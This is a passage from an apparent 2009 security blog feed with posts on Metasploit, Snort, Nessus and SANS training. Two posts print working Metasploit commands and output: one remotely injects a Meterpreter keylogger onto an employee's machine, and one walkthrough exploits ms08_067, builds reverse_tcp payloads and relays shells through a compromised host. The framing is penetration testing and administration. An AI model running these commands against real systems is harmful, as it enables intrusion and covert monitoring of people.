href='http://www.indepthdefense.com/feeds/2080895458596795609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=2080895458596795609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2080895458596795609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2080895458596795609'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/04/interesting-story-on-us-cyber-attack.html' title='Interesting story on US Cyber attack'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-121592593203460225</id><published>2009-04-15T11:04:00.002-04:00</published><updated>2009-04-15T11:21:36.274-04:00</updated><title type='text'>Snort 3.0 SANS Paper</title><content type='html'>Here is a great SANS GCIA Gold paper for anyone interested in Snort 3.0.   Doug also created a very nice bootable live cd with Snort 3.0, Sguil, and other tools from the 503 track.   Check him out at http://securityonion.blogspot.com.&lt;br /&gt;&lt;br /&gt;http://www.sans.org/reading_room/whitepapers/detection/snort_3_0_beta_3_for_analysts_33068&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-121592593203460225?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/121592593203460225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=121592593203460225' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/121592593203460225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/121592593203460225'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/04/snort-30-sans-paper.html' title='Snort 3.0 SANS Paper'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-515740654228452043</id><published>2009-03-23T04:55:00.006-04:00</published><updated>2009-03-23T06:23:08.568-04:00</updated><title type='text'>No exploit  Metasploit usage - VNC and Keylogging</title><content type='html'>OK.  I admit it.  I use metasploit at work.  Of course, I have permission to use it as a penetration testing tool, but I find it to be very useful in other circumstances as well.    I often use the PSEXEC "exploit" to provide username and password to fully patched machines for administrative purposes.   For example, it has come in handy when the standard remote access tools have been removed and there is a remote machine that the support center is unable to access.   They, rightly so,  have figured out that if the security team can get in to their machines without usernames and passwords, it should be pretty easy for them to help recover a managed machine with known usernames and passwords.   One option to troubleshoot the broken admin software is to remotely (and temporarily) install VNC on the stranded host.  I use to connect to the remote c$ with administrator credentials, copy up vnc, import the required registry keys, start the server, fix the problem, clean up the registry, clean up the files and kill the service.  Now I just do this..&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=strandedmachineip payload=windows/vncinject/bind_tcp E&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;There is no clean up because the tools never reaches the disk of the remote machine.  This is very nice.  &lt;a href="http://securityonion.blogspot.com/"&gt;Doug Burks&lt;/a&gt; and I have even talked about stripping down ./msfweb to a barebones version that just ask for ip, username and password and launches the VNC session.   ./msfwebvnc could be wrapped around a msfd instance on a central server that allows the support center to recover machines.    We may do that some day.   Comment if that interests you.   Now meterpreter has introduced another feature I suspect I will use at work.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I occasionally get asked to run a keylogger on an employees machines.  Meterpreter now has this functionality built into it.   Before you do this talk with HR and your legal team.   In my opinion no employee investigations should ever occur without HR's involvement.  Maybe its because wiretap laws make me nervous about using my &lt;a href="http://www.keyghost.com/"&gt;KeyGhost&lt;/a&gt; logger, but anytime I'm dealing with keyloggers I like to talk with our lawyers.  I've been told its not a problem many times before, but I check with them first.  Meterpreter on the other hand is software and there is no "wire tapping" going on.   It should be much less intrusive and your less likely to have the employee notice it.   Ask me to tell you the horror story about the USB keylogger and the KVM system some time.    Also, I can use meterpreter to keylog a remote office in only a few seconds.   So now a keylogger on a remote system is as easy as:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;./msfcli windows/smb/psexec smbuser=myadminacct smbpass=mypassword smbdomain=companydomain rhost=monitoredmachineip payload=windows/meterpreter/bind_tcp E&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;[*] Please wait while we load the module tree...&lt;/div&gt;&lt;div&gt;...&lt;/div&gt;&lt;div&gt;[*] Uploading DLL (75787 bytes)...&lt;/div&gt;&lt;div&gt;[*] Upload completed.&lt;/div&gt;&lt;div&gt;[*] Meterpreter session 1 opened (192.168.100.4:60701 -&gt; 192.168.100.7:4444)&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;meterpreter &gt; grabdesktop&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Trying to hijack the input desktop...&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;meterpreter &gt; keyscan_start&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Starting the keystroke sniffer...&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;meterpreter &gt; keyscan_dump&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Dumping captured keystrokes...&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; I'm so glad we use this encrypted im channel to exchange sensitive data so the company doesn't catch us.   The stolen data is...&lt;/back&gt;&lt;/back&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;meterpreter &gt;keyscan_stop&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:16px;"&gt;Interestingly, the keylogger does not capture the usernames and passwords when the user enters them at the screen saver logon prompts.   It records ctrl-alt-delete but not the password.   This is actually a good thing from my intended use.   Not knowing employees passwords protects the integrity of our audit logs.   &lt;/delete&gt;&lt;/alt&gt;&lt;/ctrl&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:16px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-515740654228452043?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/515740654228452043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=515740654228452043' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/515740654228452043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/515740654228452043'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/03/no-exploit-metasploit-usage-vnc-and.html' title='No exploit  Metasploit usage - VNC and Keylogging'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-6727988514691509694</id><published>2009-03-22T23:48:00.003-04:00</published><updated>2009-03-23T06:24:25.006-04:00</updated><title type='text'>Metasploit adds new keylogger and Mac payloads</title><content type='html'>Metasploit added some pretty interesting payloads to its arsenal this week.   First, Meterpreter (the only payload you'll ever need) added a keylogger.   Plus, they have added some cool payloads for the Mac.   There are a set of isight payloads that will snap a picture from the isight camera (bind_tcp, reverse_tcp, etc).   This payload is an part of the "bundle inject" payload which are documented in the&lt;a href="http://www.amazon.com/Mac-Hackers-Handbook-Charles-Miller/dp/0470395362"&gt; Mac OS X hackers handbook &lt;/a&gt; this looks like it could be the beginning of a meterpreter like plug-able payload for OSX.    Charles Miller, winner of the new Macintosh Powerbooks at both the 2008 and 2009 Pwn2Own contests is coauthor of the payloads along with Dina Dia Zovi.   That is definitely a book I will be adding to my library.   Here is a recent presentation with some interesting information on the &lt;a href="http://trailofbits.files.wordpress.com/2009/03/macosxploitation_source2009.pdf"&gt;payloads.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-6727988514691509694?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/6727988514691509694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=6727988514691509694' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6727988514691509694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6727988514691509694'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/03/metasploit-adds-new-keylogger-and-mac.html' title='Metasploit adds new keylogger and Mac payloads'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-1094912098143777731</id><published>2009-03-21T13:59:00.003-04:00</published><updated>2009-03-21T14:11:06.982-04:00</updated><title type='text'>SANS 504 - Hacking Techniques, Exploits and Incident Response Augusta, GA</title><content type='html'>I'm going to mentor another SANS 504 session this fall.  Hacking Techniques, Exploits and Incident response is one of my favorite SANS classes.   This is my third mentor session and my second time running 504.   Last year SANS gave me the Mentor of the year award so they are giving me some additional flexibility in the mentor format.    This time we are running a modified mentor format.  We will have 13 more hours of class time than the normal mentor session.   That's more time for covering the materials and doing exercises.  If your interested get full details and sign up &lt;a href="http://www.sans.org/mentor/details.php?nid=18868"&gt;here.&lt;/a&gt;   Greater Augusta ISSA members contact me for a very special discount code.   &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-1094912098143777731?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/1094912098143777731/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=1094912098143777731' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1094912098143777731'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1094912098143777731'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/03/sans-504-hacking-techniques-exploits.html' title='SANS 504 - Hacking Techniques, Exploits and Incident Response Augusta, GA'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-3581908413038505258</id><published>2009-02-15T17:54:00.005-05:00</published><updated>2009-02-15T20:38:01.590-05:00</updated><title type='text'>Using the free AlienVault.com Nessus feed on your Mac</title><content type='html'>Tenable has changed their license and you can no longer use their vulnerability feeds for commercial use.   Alienvault.com has a free nessus feed you can subscribe to.  It is available for use &lt;a href="http://www.alienvault.com/free_feed_for_nessus.php"&gt;here&lt;/a&gt;.   You will notice two update programs there.  One for Unix and one for Windows.   What about the MAC?   To subscribe the nessus feeds on your macintosh do this:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;1) Download the &lt;a href="http://www.alienvault.com/feed/alienvault-feed-sync.sh"&gt;linux update script.&lt;/a&gt;&lt;/div&gt;&lt;div&gt;2) Update it so it works on your MAC as described below.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First, in the "#Plugin dir" section you will need to to change the line that reads:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;NVT_DIR="/var/lib/nessus/plugins/"&lt;/div&gt;&lt;div&gt;to &lt;/div&gt;&lt;div&gt;NVT_DIR="/Library/Nessus/run/lib/nessus/plugins"&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;3) chmod +x alienvault-feed-sync.sh&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you run the script by typing :&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;./alienvault-feed-sync.sh  nessus &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;you will see an error about not being able to find the command "md5sum".   The nessus feed update did work, but the script was unable to compare the hashes to verify it completed successfully.   That might be good enough for you and you can go about using your updated feeds.   BUT,  I want to see that those hashes match.   Really, it is not buying me much security because I'm downloading the "md5sum" file that I am using for comparison from the same location as the files, but its still a good integrity check.   To fix it, you might waste your time as I did and change "findcmd md5sum" in the update script to "findcmd md5" since MD5 is the name of the MD5SUM utility on OS X.   But if you do you will get the following error:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;"Error: md5sums not correct. Your NVT collection might be broken now."&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Why?  The version of default version of MD5  that comes with the OS doesn't support the --check (-c) option.    For the file check to work you will want to install the version of md5 that is installed on most linux distributions.  It is called md5sum and it is available for install through &lt;a href="http://www.finkproject.org/"&gt;fink&lt;/a&gt;.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Happy bug hunting.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-3581908413038505258?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/3581908413038505258/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=3581908413038505258' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/3581908413038505258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/3581908413038505258'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2009/02/using-free-alienvaultcom-nessus-feed-on.html' title='Using the free AlienVault.com Nessus feed on your Mac'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4876592522595831579</id><published>2009-02-04T16:50:00.016-05:00</published><updated>2009-02-08T19:35:34.599-05:00</updated><title type='text'>Reverse Pivots with Metasploit - How NOT to make the lightbulb</title><content type='html'>&lt;div&gt;In a penetration test your target is PII kept on a corporate file server which I will call Victim2.   You are outside the firewall but have gained access to an internal host, Victim1,  when a user opened your &lt;a href="http://www.indepthdefense.com/2009/01/metasploit-visual-basic-payloads-in.html"&gt;word document with an embeeded Meterpreter payload&lt;/a&gt;.  The stager embedded in the word document made a REVERSE_TCP connection to your machine which uploaded metsrv.dll to the victim.   The machine you have access to (Victim1) has unfiltered access to your target (Victim2).   Victim2 is vulnerable to ms08_067_netapi.  Victim2 however, has NO access to the internet at all.   Were it not for the strict egress firewall rules controlling Victim2 you could have used the &lt;a href="http://www.screencast.com/t/PXFoUtvLZ"&gt;ROUTE command&lt;/a&gt; to pivot your attack through your meterpreter session on Victim1 to Victim2, and have Victim2 send you a shell directly like this...&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Your IP = 192.168.1.1&lt;/div&gt;&lt;div&gt;Victim1 = 10.4.4.4&lt;/div&gt;&lt;div&gt;Victim2 = 10.5.5.5&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Background session 1? [y/N]  y&lt;/div&gt;&lt;div&gt;msf exploit(ms08_067_netapi) &gt; route add 10.5.5.5 255.255.255.255 1&lt;/div&gt;&lt;div&gt;msf exploit(ms08_067_netapi) &gt; route print&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Active Routing Table&lt;/div&gt;&lt;div&gt;====================&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;   Subnet             Netmask            Gateway    &lt;/div&gt;&lt;div&gt;   ------             -------            -------    &lt;/div&gt;&lt;div&gt;   10.5.5.5       255.255.255.255    Session 1  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;msf exploit(ms08_067_netapi) &gt; sessions -l&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Active sessions&lt;/div&gt;&lt;div&gt;===============&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;  Id  Description  Tunnel                                &lt;/div&gt;&lt;div&gt;  --  -----------  ------                                &lt;/div&gt;&lt;div&gt;  1   Meterpreter  192.168.1.1:80 -&gt; 10.4.4.4:1034  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;msf exploit(ms08_067_netapi) &gt; set RHOST 10.5.5.5&lt;/div&gt;&lt;div&gt;RHOST =&gt; 10.5.5.5&lt;/div&gt;&lt;div&gt;msf exploit(ms08_067_netapi) &gt; set LHOST 192.168.1.1&lt;/div&gt;&lt;div&gt;LHOST =&gt; 192.168.1.1&lt;/div&gt;&lt;div&gt;msf exploit(ms08_067_netapi) &gt; exploit&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And the session would be shoveled back to you from Victim2.  BUT, this time, strong egress filters prevailed and you can't make that direct connection.  So you decide to relay in back through Victim1 who does have access to the internet.  How do you do that?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here was my first thought.   I'll use meterpreter's PORTFWD command on VICTIM1 to setup a TCP relay and back to me.  Then I'll exploit Victim2 and set my LHOST to Victim1 (10.4.4.4) and my LPORT to the PORTFWD listener on Victim1.    My attack will flow through my pivot and return to me via the PORTFWD on Victim1.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Guess what.  You can't do that.  LHOST and LPORT have to be a valid IP address on your host or the exploit wont even launch.  Metasploit won't let your LHOST be the Victim1.   Maybe I could do some CHOST,CPORT trickery (see the advanced options)?  I couldn't make that work either.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;OK so I can't launch an exploit.  But I can make one!&lt;/div&gt;&lt;div&gt;./msfpayload windows/meterpreter/reverse_tcp LHOST=victim1 LPORT=portfwd listener X &gt; custompayload.exe&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Then I can use the Upload and Execute payloads to exploit victim2 and get my shell!!  &lt;/div&gt;&lt;div&gt;Nope.  That doesn't work either.  Why?   I think there is a bug in PORTFWD.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;When you run portfwd and don't provide the OPTIONAL -L ip address it appears to work. You get something like this..&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;meterpreter &gt; portfwd add -l 6666 -r 192.168.1.1 -p 80&lt;/div&gt;&lt;div&gt;[*] Local TCP relay created: 0.0.0.0:6666 &lt;-&gt; 192.168.1.1:80&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;But nothing is listening on port 6666.   A quick "execute -c -f cmd.exe; interact 1; netstat -na" shows nothing listening on the port.  An NMAP of the host confirms no listener...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Macintosh:~ mark.baggett$ nmap 10.4.4.4 -p 6666&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-03 22:47 EST&lt;/div&gt;&lt;div&gt;Interesting ports on 10.4.4.4:&lt;/div&gt;&lt;div&gt;PORT     STATE  SERVICE&lt;/div&gt;&lt;div&gt;6666/tcp closed irc&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds&lt;/div&gt;&lt;div&gt;Macintosh:~ mark.baggett$ &lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If I try to force the matter with a -L I get a nasty "Cant assign requested address" message.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;meterpreter &gt; portfwd add -L 10.4.4.4 -l 6666 -r 192.168.1.1 -p 80&lt;/div&gt;&lt;div&gt;[-] Error running command portfwd: Can't assign requested address - bind(2) /Applications/framework3/lib/rex/socket/comm/local.rb:138:in `bind'/Applications/framework3/lib/rex/socket/comm/local.rb:138:in `create_by_type'/Applications/framework3/lib/rex/socket/comm/local.rb:26:in `create'/Applications/framework3/lib/rex/socket.rb:45:in `create_param'/Applications/framework3/lib/rex/socket.rb:52:in `create_tcp'/Applications/framework3/lib/rex/socket.rb:59:in `create_tcp_server'/Applications/framework3/lib/rex/services/local_relay.rb:184:in `start_tcp_relay'/Applications/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb:219:in `cmd_portfwd'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `call'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `run'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/Applications/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/Applications/framework3/lib/rex/ui/interactive.rb:48:in `interact'/Applications/framework3/lib/msf/ui/console/command_dispatcher/core.rb:918:in `cmd_sessions'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82&lt;br /&gt;&lt;/div&gt;&lt;div&gt;meterpreter &gt; ipconfig&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Parallels OEM Adapter.&lt;/div&gt;&lt;div&gt;Hardware MAC: 00:1c:42:99:40:22&lt;/div&gt;&lt;div&gt;IP Address  : 10.4.4.4&lt;/div&gt;&lt;div&gt;Netmask     : 255.255.255.0&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;OK.  So maybe there is a bug in portfwd.   I punt and I use a different external TCP relay program.   I upload and execute &lt;a href="http://www.foundstone.com/us/resources/proddesc/fpipe.htm"&gt;FPIPE.EXE&lt;/a&gt; and use it on Victim1 to relay the session from Victim2 back to My IP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;fpipe.exe -i 10.4.4.4 -l 5555 -r 80 192.168.1.1&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;[*] Handler binding to LHOST 192.168.1.1&lt;/div&gt;&lt;div&gt;[*] Started reverse handler&lt;/div&gt;&lt;div&gt;[*] Starting the payload handler...&lt;/div&gt;&lt;div&gt;[*] Transmitting intermediate stager for over-sized stage...(191 bytes)&lt;/div&gt;&lt;div&gt;[*] Sending stage (2650 bytes)&lt;/div&gt;&lt;div&gt;[*] Sleeping before handling stage...&lt;/div&gt;&lt;div&gt;[*] Uploading DLL (75787 bytes)...&lt;/div&gt;&lt;div&gt;[*] Upload completed.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And thats it!  Its all good with one VERY IMPORTANT exception.  I never get&lt;/div&gt;&lt;div&gt;[*] Meterpreter session 2 opened.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So FAIL, FAIL FAIL.  I was unable to pivot a reverse_tcp meterpreter session.   I can reach my goal by using the Meterpreter session on Victim1 to access the file server on Victim2 with SMB ports, but thats not very sexy.  Ed Skoudis &lt;a href="http://www.inguardians.com/research/docs/Skoudis_pentestsecrets.pdf"&gt;gender bender netcat relays&lt;/a&gt; are a good option, but I want to do it with just metasploit.  So what is the right way to do this?  Do you know?  Add a comment!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 